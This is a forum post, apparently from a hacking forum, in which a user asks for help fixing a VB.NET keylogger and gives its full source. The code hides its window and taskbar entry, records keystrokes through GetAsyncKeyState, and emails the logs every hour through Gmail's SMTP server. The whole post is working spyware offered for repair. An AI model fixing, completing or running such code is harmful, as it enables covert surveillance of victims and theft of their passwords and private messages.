Keylogger Problems, Don't know whats wrong 12-01-2014, 06:37 PM
#1
The code is supposed to send an email with the logs every 60 min? And check the key every 5 mili sec? It's hidden and is supposed to show when i press Alt and Ctrl. Please help me, (i only accept source code.
Code:
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim SmtpServer As New SmtpClient
SmtpServer.EnableSsl = True
Dim mail As New MailMessage
SmtpServer.Credentials = New Net.NetworkCredential("MyMail@gmail.com", "MyPassword")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("MyMail@gmail.com")
mail.To.Add("MyMail@gmail.com")
mail.Subject = ("New Logs")
mail.Body = txtLogs.Text
SmtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtLogs.Text &= key
Else
txtLogs.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown Then
Me.Visible = True
End If
End Sub
Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
txtLogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
txtLogs.Text = "keylogger started at: " & Now & vbNewLine
End Sub
End Class








![[+]](https://sinister.li/images/modern/collapse_collapsed.png)














